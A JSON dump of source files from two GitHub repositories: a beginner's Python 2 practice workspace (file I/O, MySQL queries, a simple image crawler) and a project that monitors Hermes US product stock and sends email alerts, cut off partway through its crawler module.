{\n \"alpha_fraction\": 0.5723951458930969,\n \"alphanum_fraction\": 0.575778067111969,\n \"avg_line_length\": 20.420289993286133,\n \"blob_id\": \"a6475215692e9dee517b4455315e7262d1f8720b\",\n \"content_id\": \"36360e1ee6c52c37f7f5781fe280d3e37e6ac678\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1490,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 69,\n \"path\": \"/App1/styio/ReadFile.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: Utf-8 -*-\\nimport os\\n\\n\\ndef readfile():\\n if os.path.exists(\\\"/Users/arvin.chang/Documents/gitfile.txt\\\"):\\n print \\\"true\\\"\\n else:\\n print \\\"false\\\"\\n\\n if os.access(\\\"/Users/arvin.chang/Documents/gitfile.txt\\\", os.R_OK):\\n print \\\"Given file path is exist.\\\"\\n\\n try:\\n file = open(\\\"/Users/arvin.chang/Documents/gitfile.txt\\\", \\\"r+\\\")\\n # print file.name\\n print file.closed\\n print file.mode\\n print file.softspace\\n\\n print file.read()\\n\\n print \\\"当前文件位置 : \\\", file.tell()\\n\\n # file.seek(0,2)\\n\\n except IOError:\\n print(\\\"File is not accessible.\\\")\\n file.close()\\n\\n\\ndef wirteFile():\\n if os.access(\\\"/Users/arvin.chang/Documents/gitfile.txt\\\", os.W_OK):\\n print \\\"Given file path is exist.\\\"\\n\\n try:\\n file = open(\\\"/Users/arvin.chang/Documents/gitfile.txt\\\", \\\"a+\\\")\\n\\n str1 = \\\"this is test content\\\\n\\\"\\n\\n file.write(str1)\\n except IOError:\\n print \\\"File is not accessible\\\"\\n\\n finally:\\n\\n file.close()\\n\\n\\ndef createFolder():\\n os.mkdir(\\\"newdir\\\")\\n os.rmdir(\\\"newdir\\\")\\n os.remove(\\\"test.sh\\\")\\n\\n\\ndef styWith():\\n if not os.access(\\\"/Users/arvin.chang/Documents/gitfile.txt\\\", os.W_OK):\\n print \\\"Given file path is not exist.\\\"\\n return\\n\\n with open(\\\"/Users/arvin.chang/Documents/gitfile.txt\\\", \\\"r+\\\") as f:\\n print \\\"file content\\\", f.read();\\n\\n\\nif __name__ == '__main__':\\n # readfile()\\n # wirteFile()\\n # createFolder()\\n styWith()\\n\"\n },\n {\n \"alpha_fraction\": 0.5416666865348816,\n \"alphanum_fraction\": 0.6666666865348816,\n \"avg_line_length\": 13.600000381469727,\n \"blob_id\": \"4fb55f1890269fc78cb0ca743f85aa6e59fad1b0\",\n \"content_id\": \"00fcb6b3465d8a64a08c54a5a0d231045a7189b9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 72,\n \"license_type\": \"no_license\",\n \"max_line_length\": 31,\n \"num_lines\": 5,\n \"path\": \"/App1/LamdaFun.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#-*-conding:UTF-8-*-\\n\\nsum=lambda arg1,arg2:arg1*arg2\\n\\n#print sum(10,21)\"\n },\n {\n \"alpha_fraction\": 0.5248227119445801,\n \"alphanum_fraction\": 0.5319148898124695,\n \"avg_line_length\": 10.833333015441895,\n \"blob_id\": \"d64e35ab2e8ce1bf3e39baa41ba08fdf37256b4e\",\n \"content_id\": \"728fc30f1d6cd6980a07ed0d5790fe321296aa8a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 141,\n \"license_type\": \"no_license\",\n \"max_line_length\": 30,\n \"num_lines\": 12,\n \"path\": \"/App1/styio/MainTest.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: UTF-8 -*-\\nimport ReadInput\\n\\ndef main():\\n print(\\\"main test process\\\")\\n\\n ReadInput\\n\\n\\n\\nif __name__ == '__main__':\\n main()\"\n },\n {\n \"alpha_fraction\": 0.6440678238868713,\n \"alphanum_fraction\": 0.6610169410705566,\n \"avg_line_length\": 15.181818008422852,\n \"blob_id\": \"ba22fc5268d0a8b1084d8cad77f394c4c88dd204\",\n \"content_id\": \"9022fe093d43f259c1181eef8213fe515dd403b1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 177,\n \"license_type\": \"no_license\",\n \"max_line_length\": 30,\n \"num_lines\": 11,\n \"path\": \"/App1/styio/ReadInput.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: UTF-8 -*-\\n\\n# read str content\\nstr=raw_input(\\\"pls input: \\\")\\nprint \\\"raw input content:\\\",str\\n\\n\\n#read el content\\nstr1=input(\\\"pls input:\\\" )\\n\\nprint \\\"input content:\\\",str1\"\n },\n {\n \"alpha_fraction\": 0.5552569627761841,\n \"alphanum_fraction\": 0.5653342008590698,\n \"avg_line_length\": 26.831775665283203,\n \"blob_id\": \"40154087d5836bb133a96befe47d376a7425911a\",\n \"content_id\": \"be50d2e00e4a5cb3248ca2eacfa2e5fe9708e86e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3049,\n \"license_type\": \"no_license\",\n \"max_line_length\": 117,\n \"num_lines\": 107,\n \"path\": \"/App1/QueryDB.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: UTF-8 -*-\\nimport MySQLdb\\nimport traceback\\n\\n# open connection\\ndb = MySQLdb.connect(\\\"localhost\\\", \\\"py\\\", \\\"123456\\\", \\\"pydb\\\");\\n# 用cursor()方法获取操作游标\\ncursor = db.cursor();\\n# 使用execute方法执行SQL语句\\n# cursor.execute(\\\"SELECT VERSION()\\\");\\n\\n# 使用 fetchone() 方法获取一条数据库。\\n# data = cursor.fetchone();\\n\\n# print \\\"Database version : %s \\\" % data;\\n\\n# cursor.execute(\\\"DROP TABLE IF EXISTS TEST_DB\\\");\\n\\n# 创建数据表SQL语句\\nsql = \\\"\\\"\\\"CREATE TABLE TEST_DB (\\n FIRST_NAME CHAR(20) NOT NULL,\\n LAST_NAME CHAR(20),\\n AGE INT, \\n SEX CHAR(10),\\n INCOME FLOAT)\\\"\\\"\\\"\\n\\n# cursor.execute(sql);\\n\\n\\n# insert\\ninsert_sql = \\\"\\\"\\\"insert into TEST_DB(FIRST_NAME,LAST_NAME,AGE,SEX,INCOME)VALUES ('arvin','Chang',26,'male',1000.0);\\\"\\\"\\\"\\n\\n# try:\\n# count=0;\\n# for index in range(1,20):\\n# data=cursor.execute(insert_sql);\\n# count+=data;\\n# print count;\\n# db.commit();\\n# except Exception, e:\\n# print 'str(Exception):\\\\t', str(Exception)\\n# print 'str(e):\\\\t\\\\t', str(e)\\n# print 'repr(e):\\\\t', repr(e)\\n# print 'e.message:\\\\t', e.message\\n# print 'traceback.print_exc():'; traceback.print_exc()\\n# print 'traceback.format_exc():\\\\n%s' % traceback.format_exc()\\n# db.rollback();\\n\\nupdate_sql = \\\"\\\"\\\"update TEST_DB set age=28\\\"\\\"\\\"\\n# try:\\n# data=cursor.execute(update_sql);\\n# print data;\\n# db.commit();\\n# except Exception,e:\\n# print 'str(Exception):\\\\t', str(Exception)\\n# print 'str(e):\\\\t\\\\t', str(e)\\n# print 'repr(e):\\\\t', repr(e)\\n# print 'e.message:\\\\t', e.message\\n# print 'traceback.print_exc():'; traceback.print_exc()\\n# print 'traceback.format_exc():\\\\n%s' % traceback.format_exc()\\n# db.rollback();\\n\\nquery_testdb_sql = \\\"\\\"\\\"select * from test_db\\\"\\\"\\\"\\n\\ntry:\\n cursor.execute(query_testdb_sql);\\n results = cursor.fetchall();\\n\\n list_test = list();\\n\\n for row in results:\\n frist_name = row[0];\\n last_name = row[1];\\n age = row[2];\\n sex = row[3];\\n # print frist_name,sex;\\n # testDB=TestDB;\\n # testDB.first_name=frist_name;\\n # testDB.last_name=last_name;\\n # testDB.age=age;\\n # list_test.__add__(testDB);\\n li = {'first_name': frist_name, 'last_name': last_name, 'age': age, 'sex': sex};\\n list_test.append(li);\\n print list_test.__len__();\\n print list_test;\\n for li in list_test:\\n if li.get('first_name') == 'arvin':\\n print li.get('first_name')\\n else:\\n print 'false'\\n\\n if li.has_key('last_name'):\\n print 'has key last_name'\\n else:\\n print 'not found key last_name'\\nexcept Exception, e:\\n print 'str(Exception):\\\\t', str(Exception)\\n print 'str(e):\\\\t\\\\t', str(e)\\n print 'repr(e):\\\\t', repr(e)\\n print 'e.message:\\\\t', e.message\\n print 'traceback.print_exc():';\\n traceback.print_exc()\\n print 'traceback.format_exc():\\\\n%s' % traceback.format_exc()\\n db.rollback();\\n\\n# close connection\\ndb.close();\"\n },\n {\n \"alpha_fraction\": 0.5072463750839233,\n \"alphanum_fraction\": 0.5507246255874634,\n \"avg_line_length\": 16.25,\n \"blob_id\": \"015561534a5da184440a8a765ca25222b80a4870\",\n \"content_id\": \"3b8cf5673438f620d01a1a96058e0fa35055d2b5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 69,\n \"license_type\": \"no_license\",\n \"max_line_length\": 29,\n \"num_lines\": 4,\n \"path\": \"/App1/component/Script1.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding:UTF-8 -*-\\n\\ndef script1():\\n print \\\"this is script 1\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.4010416567325592,\n \"alphanum_fraction\": 0.40625,\n \"avg_line_length\": 8,\n \"blob_id\": \"6a6744112f995624d18ef756dde21a322c379268\",\n \"content_id\": \"279836892b721cd45db9ffadbf1af7adee143b08\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 380,\n \"license_type\": \"no_license\",\n \"max_line_length\": 38,\n \"num_lines\": 21,\n \"path\": \"/App1/rename_images_script.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#-*- coding: UTF-8 -*-\\n\\n'''\\n读取指定目录下的所有文件对名字做修改\\n'''\\n\\n\\n# 遍历指定目录，显示目录下的所有文件名\\n\\n\\n\\nif __name__ == '__main__':\\n\\n print \\\"》》》》》》》》》》开始处理图片《《《《《《《《《《《《《\\\"\\n\\n\\n\\n\\n\\n\\n print \\\"》》》》》》》》》》始处理图片结束《《《《《《《《《《《《\\\"\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.47454702854156494,\n \"alphanum_fraction\": 0.5168248414993286,\n \"avg_line_length\": 16.560606002807617,\n \"blob_id\": \"bcaf8e031ef4c9c69060286aa1dbda5fb72ec570\",\n \"content_id\": \"5f5e119060ff46ebefc42b35dda47f88ca4cbbf6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1165,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 66,\n \"path\": \"/App1/functions/Utils.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: Utf-8 -*-\\n\\ndef funs():\\n tuple1 = (\\\"1\\\", \\\"2\\\", \\\"3\\\", \\\"a\\\", \\\"b\\\", 0);\\n\\n print \\\"bulid in function\\\"\\n print \\\"absolute value\\\", abs(-998)\\n print \\\"all method:\\\", all(tuple1)\\n for row in tuple1:\\n\\n if str == type(row):\\n\\n print ord(row)\\n else:\\n print \\\"not str\\\", row\\n # hash code\\n # print hash(row)\\n print memoryview(row)\\n\\n\\nclass Demo1(object):\\n @staticmethod\\n def outPrint():\\n print \\\"this is static method\\\"\\n\\n\\nclass Demo2(object):\\n def outPrint(self):\\n print \\\"this is general method\\\";\\n\\n\\nclass Demo3(object):\\n\\n def __init__(self):\\n pass\\n\\n\\ndef sty_map():\\n print map(lambda x: x * 10, [1, 3, 8, 9, 87])\\n\\n\\ndef styFilter():\\n print filter(lambda x:x>10,[10,19,18,29,8,9,23])\\n\\ndef sty_zip():\\n tuple1=(1,2,3);\\n tuple2 = (\\\"a\\\", \\\"b\\\", \\\"c\\\");\\n tuple3 = (\\\"我\\\", \\\"是\\\", \\\"谁\\\");\\n zipped=zip(tuple1, tuple2,tuple3)\\n print zipped\\n print zip(*zipped)\\n\\n\\n\\nif __name__ == '__main__':\\n\\n # funs()\\n # static method\\n # Demo1.outPrint()\\n\\n # general method\\n # demo2 = Demo2()\\n # demo2.outPrint()\\n # sty_map()\\n # styFilter()\\n sty_zip()\\n\"\n },\n {\n \"alpha_fraction\": 0.5072463750839233,\n \"alphanum_fraction\": 0.5507246255874634,\n \"avg_line_length\": 16.25,\n \"blob_id\": \"212ac17449b59c6f0c461011cda4410de67b1658\",\n \"content_id\": \"28bc5ccf1d500df228a24eaf4871c501212cfc81\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 69,\n \"license_type\": \"no_license\",\n \"max_line_length\": 29,\n \"num_lines\": 4,\n \"path\": \"/App1/component/Script2.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding:UTF-8 -*-\\n\\ndef script2():\\n print \\\"this is script 2\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.739130437374115,\n \"alphanum_fraction\": 0.739130437374115,\n \"avg_line_length\": 10.5,\n \"blob_id\": \"3a303cc56b30507fc4af8a16ed2455fa62e14da9\",\n \"content_id\": \"67d31cbf30f04ebe48bf085da80947b1b245d922\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 23,\n \"license_type\": \"no_license\",\n \"max_line_length\": 14,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# py-workspace\\nstay py\\n\"\n },\n {\n \"alpha_fraction\": 0.7246376872062683,\n \"alphanum_fraction\": 0.739130437374115,\n \"avg_line_length\": 22.33333396911621,\n \"blob_id\": \"28c0833b18aa867fe0dd8723a02ebb5f0994eb91\",\n \"content_id\": \"c41ec21804ec6e1c4333841153a0a47d0ed1485f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 69,\n \"license_type\": \"no_license\",\n \"max_line_length\": 53,\n \"num_lines\": 3,\n \"path\": \"/App1/Helloword.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# coding utf-8\\n\\nprint('hello world ,this is my first python pargram')\"\n },\n {\n \"alpha_fraction\": 0.5516840815544128,\n \"alphanum_fraction\": 0.5609756112098694,\n \"avg_line_length\": 19.5238094329834,\n \"blob_id\": \"83c5475233b377a7d85a505cea31cd0ed76811b9\",\n \"content_id\": \"73b7bf196efc6f3aecfd8be358e0ab5f23024f7d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 861,\n \"license_type\": \"no_license\",\n \"max_line_length\": 104,\n \"num_lines\": 42,\n \"path\": \"/App1/DouBanCrawler.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# coding utf-8\\nimport urllib\\nimport re\\nfrom __builtin__ import str\\n\\npath = \\\"/Users/arvin.chang/Images/webCrawler/\\\";\\n\\n\\ndef getHTMLByURL(url):\\n print url;\\n page = urllib.urlopen(url);\\n html = page.read();\\n return html;\\n\\n\\ndef getImg(html):\\n # print html;\\n reg = r'src=\\\"(.+?\\\\.jpg)\\\"'\\n imgre = re.compile(reg);\\n imgList = re.findall(imgre, html);\\n print imgList;\\n return imgList;\\n\\n\\ndef wirteImg(imgList, x):\\n y = 1;\\n for imgurl in imgList:\\n print imgurl\\n z = str(x) + \\\"-\\\" + str(y);\\n urllib.urlretrieve(imgurl, path + '%s.jpg' % z);\\n y += 1;\\n\\n\\ndef main():\\n for index in range(1, 20):\\n html = getHTMLByURL(\\\"http://www.dbmeinv.com/dbgroup/show.htm?cid=6&pager_offset=\\\" + str(index));\\n # wirteImg(getImg(html),index);\\n index += 1;\\n\\n\\nif __name__ == '__main__':\\n main();\"\n },\n {\n \"alpha_fraction\": 0.5561097264289856,\n \"alphanum_fraction\": 0.5660848021507263,\n \"avg_line_length\": 16.434782028198242,\n \"blob_id\": \"c0befbf0bd2c8a6e002d77044a4913b8a58e095b\",\n \"content_id\": \"9655d3c0fbbe2208327b0919878797c92602229b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 401,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 23,\n \"path\": \"/App1/exception/styException.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: Utf-8 -*-\\n\\ndef styExc(args1):\\n try:\\n\\n print \\\"\\\", int(args1)\\n\\n raise BussniessException,\\\"this is BussniessException\\\"\\n\\n except BaseException,e:\\n print \\\"exception:\\\",e\\n\\n else:\\n print \\\"no exception\\\"\\n\\n\\nclass BussniessException(RuntimeError):\\n def __init__(self, arg):\\n self.args = arg\\n print arg\\n\\nif __name__ == '__main__':\\n styExc(5)\\n\"\n },\n {\n \"alpha_fraction\": 0.543749988079071,\n \"alphanum_fraction\": 0.5687500238418579,\n \"avg_line_length\": 16.14285659790039,\n \"blob_id\": \"8a81c7c426be19213c980a82ef88b7ccb7a35af8\",\n \"content_id\": \"197096cfb66fb63f1b628270c40f5aaec6344c09\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 498,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 28,\n \"path\": \"/App1/ConnectionDB.py\",\n \"repo_name\": \"ArvinZhang/py-workspace\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: UTF-8 -*-\\n\\nimport MySQLdb\\n\\n\\ndef connctionMySQL():\\n # open connection\\n db = MySQLdb.connect(\\\"localhost\\\", \\\"py\\\", \\\"123456\\\", \\\"pydb\\\")\\n\\n # 用cursor()方法获取操作游标\\n cursor = db.cursor()\\n\\n query_sql = \\\"\\\"\\\"select * from test_db limit 10\\\"\\\"\\\"\\n\\n cursor.execute(query_sql)\\n\\n results = cursor.fetchall ()\\n\\n for row in results:\\n print row[2]\\n print id(row[2])\\n print row[4]\\n\\n # len\\n print len(results)\\n\\n cursor.close()\\n db.close()\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":15,"string":"15"}}},{"rowIdx":2978365,"cells":{"repo_name":{"kind":"string","value":"zhouchangju1991/hermes_us"},"repo_url":{"kind":"string","value":"https://github.com/zhouchangju1991/hermes_us"},"snapshot_id":{"kind":"string","value":"30634da11de8e556f4ee7f53a79fc0f6cef91f38"},"revision_id":{"kind":"string","value":"07bf9f8ad98842149aab90aa430069aff681329c"},"directory_id":{"kind":"string","value":"c2879a24d1639cbec9a23c4c880a84b2ecfec9f3"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-01-24T17:07:46.636476","string":"2023-01-24T17:07:46.636476"},"revision_date":{"kind":"timestamp","value":"2020-11-28T06:51:54","string":"2020-11-28T06:51:54"},"committer_date":{"kind":"timestamp","value":"2020-11-28T06:51:54","string":"2020-11-28T06:51:54"},"github_id":{"kind":"number","value":316663841,"string":"316,663,841"},"star_events_count":{"kind":"number","value":4,"string":"4"},"fork_events_count":{"kind":"number","value":4,"string":"4"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6459657549858093,"alphanum_fraction":0.6459657549858093,"avg_line_length":31.983871459960938,"blob_id":"13e2f2cad5d4cbb2736f17c30b9f794f01e4c514","content_id":"28fd1496170ca4bce95d283cbf8d7efb919d7c19","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4090,"license_type":"no_license","max_line_length":110,"num_lines":124,"path":"/main.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"from datetime import datetime\nimport pytz\nfrom crawler import Crawler\nfrom database import Database\nfrom mailer import Mailer\nfrom log import Log\n\n# Creates a log object. The log file name is today's date.\nlog = Log()\n\n# Create database object\ntry:\n database = Database()\nexcept Exception as exception:\n log.error('Fail to create Database object. Error message: {}'.format(exception))\n exit()\n\n# Create crawler object\ntry:\n crawler = Crawler()\nexcept Exception as exception:\n log.error('Fail to create Crawler object. Error message: {}'.format(exception))\n exit()\n\n# Create email object\ntry:\n mailer = Mailer()\nexcept Exception as exception:\n log.error('Fail to create Mailer object. Error message: {}'.format(exception))\n exit()\n\ndef main():\n keyword_docs = database.collection('hermes_us_keyword').where('is_valid', '==', True).stream()\n keywords = [doc.to_dict()['keyword'] for doc in keyword_docs]\n skus = []\n for keyword in keywords:\n for sku in crawler.fetch_skus_by_keyword(keyword):\n if sku in skus:\n continue\n product = crawler.fetch_product_by_sku(sku, keyword)\n if not product or not product['published']:\n log.info('{} is fetched while the product is out of stock'.format(sku))\n continue\n check_product(product)\n skus.append(sku)\n\n log.info('{} skus are fetched from {} keywords'.format(len(skus), len(keywords)))\n check_unpublish_products(keywords, skus)\n\ndef check_product(product):\n sku = product['sku']\n product_prev = database.document('hermes_us_product', sku).get().to_dict()\n\n if not product_prev:\n # Insert the product into the database if not exists\n create_product(product)\n mailer.send_email(product, 'published', product['updated_at'])\n elif not product_prev['published']:\n update_product_by_product(product, product_prev)\n mailer.send_email(product, 'republished', product['updated_at'])\n\ndef create_product(product):\n timestamp = product['updated_at']\n\n product['created_at'] = timestamp\n product['last_published_at'] = timestamp\n product['historical_publish'] = [{\n 'publish': True,\n 'timestamp': timestamp,\n }]\n product['published'] = True\n\n database.udpate_product_to_database(product, merge=False) \n\ndef update_product_by_product(product, product_prev):\n timestamp = product['updated_at']\n is_publish = product['published']\n\n if is_publish:\n product['last_published_at'] = timestamp\n\n product['historical_publish'] = product_prev['historical_publish']\n if is_publish != product_prev['published']:\n product['historical_publish'].append({\n 'publish': is_publish,\n 'timestamp': timestamp,\n })\n\n database.udpate_product_to_database(product, merge=False)\n\ndef update_product_publish_by_sku(sku, product_prev, is_publish):\n timestamp = datetime.now(pytz.timezone('US/Pacific'))\n product = {\n 'sku': sku,\n 'updated_at': timestamp,\n 'historical_publish': product_prev['historical_publish'],\n 'published': is_publish,\n }\n\n if is_publish:\n product['last_published_at'] = timestamp\n\n if is_publish != product_prev['published']:\n product['historical_publish'].append({\n 'publish': is_publish,\n 'timestamp': timestamp,\n })\n\n database.udpate_product_to_database(product, merge=True)\n\ndef check_unpublish_products(keywords, skus):\n timestamp = datetime.now(pytz.timezone('US/Pacific'))\n published_products_docs = database.collection('hermes_us_product').where('published', '==', True).stream()\n for doc in published_products_docs:\n product_prev = doc.to_dict()\n if product_prev['keyword'] not in keywords:\n continue\n sku = product_prev['sku']\n if sku not in skus:\n update_product_publish_by_sku(sku, product_prev, False)\n mailer.send_email(product_prev, 'unpublished', timestamp)\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.8081181049346924,"alphanum_fraction":0.8081181049346924,"avg_line_length":107.4000015258789,"blob_id":"fe475e93cd73d9f45ee0f51c589c60169a1fa017","content_id":"2b04009c42408c9dba4db31b3ede4f8f4a9038c9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":542,"license_type":"no_license","max_line_length":271,"num_lines":5,"path":"/README.md","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"The project is built on Google Cloud Compute Engine. Credential-related files are ignored and not uploaded to github.\n\nThis project fetches the near real time stock information from Hermes US website and send notifications when some products are published/unpublished.\n\nmain.py contains the logic for the whole process. main() in main.py is scheduled to be called every minute. database.py is for read / write to firestore database. crawler.py is for crawling Hermes US website. mailer.py is for sending notifications. log.py is for logging.\n"},{"alpha_fraction":0.6256517171859741,"alphanum_fraction":0.6277372241020203,"avg_line_length":32.068965911865234,"blob_id":"84efc67eff9907f73522bb789935b594ac5984d2","content_id":"25b85abded8bdf7afe2776576984234eb2c5449f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":959,"license_type":"no_license","max_line_length":103,"num_lines":29,"path":"/upload_log_to_storage.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"import os, pytz\nfrom storage import Storage\nfrom datetime import datetime, timedelta\n\nstorage = Storage()\n\ndef upload_log():\n today_log = 'hermes_us_{}.log'.format(datetime.now(pytz.timezone('US/Pacific')).strftime('%Y%m%d'))\n log_dir = '{}/log/'.format(os.path.dirname(os.path.realpath(__file__)))\n for log_name in os.listdir(log_dir):\n if log_name >= today_log:\n continue\n source = '{}/{}'.format(log_dir, log_name)\n storage.upload_log(source, log_name)\n os.remove(source)\n\n# Removes logs that are created at or before gap_days ago.\ndef remove_old_logs(gap_days):\n date = datetime.now(pytz.timezone('US/Pacific')).strftime('%Y%m%d') - timedelta(days=gap_days)\n earlist_log = 'hermes_us_{}.log'.format(date)\n for log in storage.list_logs():\n if log < earlist_log:\n storage.delete_log(log)\n\nif __name__ == '__main__':\n gap_days = 30\n remove_old_logs(gap_days)\n\n upload_log()\n"},{"alpha_fraction":0.4976213276386261,"alphanum_fraction":0.5004757642745972,"avg_line_length":36.53571319580078,"blob_id":"161b589aa8cb781f5d378e05c76db2176c143f7e","content_id":"a030be05bba6cc3419eef4011bded03b481d3320","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2102,"license_type":"no_license","max_line_length":111,"num_lines":56,"path":"/mailer.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"import os\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail, From, To, Subject, PlainTextContent, HtmlContent\nimport config\n\nclass Mailer:\n def __init__(self):\n self.__sg = SendGridAPIClient(config.send_grid_api_key)\n\n def send_email_base(self, from_email, to_emails, subject, html_content):\n message = Mail(from_email=From(from_email),\n to_emails=[To(to_email) for to_email in to_emails],\n subject=Subject(subject),\n html_content=HtmlContent(html_content))\n return self.__sg.send(message)\n\n def send_email_to_me(self, subject, html_content):\n return self.send_email_base(\n from_email='nanazhoushop@gmail.com',\n to_emails=['nanazhouh@gmail.com'],\n subject=subject,\n html_content=html_content) \n\n def send_email(self, product, action, timestamp):\n time = '{} PT'.format(timestamp.strftime(\"%Y-%m-%d, %H:%M:%S\"))\n pattern = product['pattern']\n color = product['color']\n url = product['url']\n has_image = False\n if len(product['images']) > 0:\n has_image = True\n image = product['images'][0]\n\n subject = 'Hermes US {} {} - {} at {}'.format(action, pattern, color, time)\n if has_image:\n html_content = '''\n <div>\n <a href='{}' style='font-size:14px; font-weight:bold; color:black; text-decoration: none;'>\n {} - {}\n </a>\n </div>\n <br/>\n <div>\n <a href='{}'><img src='{}' /></a>\n </div>\n '''.format(url, pattern, color, url, image)\n else:\n html_content = '''\n <div>\n <a href='{}' style='font-size:14px; font-weight:bold; color:black; text-decoration: none;'>\n {} - {}\n </a>\n </div>\n '''.format(url, pattern, color)\n\n self.send_email_to_me(subject=subject, html_content=html_content)\n"},{"alpha_fraction":0.5734597444534302,"alphanum_fraction":0.5876777172088623,"avg_line_length":27.133333206176758,"blob_id":"5387b302ce67c1cea2fe0dba97503d413798ed65","content_id":"8c90abab4eaf935e62c3e46ab107d1c7c54cbd1b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":844,"license_type":"no_license","max_line_length":81,"num_lines":30,"path":"/add_keyword_to_database.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"from datetime import datetime\nimport pytz\nfrom database import Database\n\ndatabase = Database()\n\nkeywords = ['evelyne 16 amazone bag',\n 'herbag zip 31',\n 'picotin lock 18',\n 'picotin lock 22',\n 'kelly classique to go',\n 'lindy 26',\n 'lindy mini',\n 'roulis mini',\n 'roulis 23',\n 'rodeo',\n 'constance long to go',\n 'oran nano',]\nfor keyword in keywords:\n timestamp = datetime.now(pytz.timezone('US/Pacific'))\n document_name = keyword.lower().replace(' ', '_')\n data = {\n 'keyword': keyword,\n 'is_valid': True,\n 'created_at': timestamp,\n 'updated_at': timestamp,\n }\n\n if not database.document('hermes_us_keyword', document_name).get().to_dict():\n database.update_document('hermes_us_keyword', document_name, data, False)\n"},{"alpha_fraction":0.5730735063552856,"alphanum_fraction":0.5876882076263428,"avg_line_length":40.814815521240234,"blob_id":"09a0cbeb1e44f3ad4f2c0f0918055785cc4c76cf","content_id":"6d3702a9f10f11601ceef6675c8cd2f61e73b26f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2258,"license_type":"no_license","max_line_length":137,"num_lines":54,"path":"/crawler.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"import requests, json\nfrom datetime 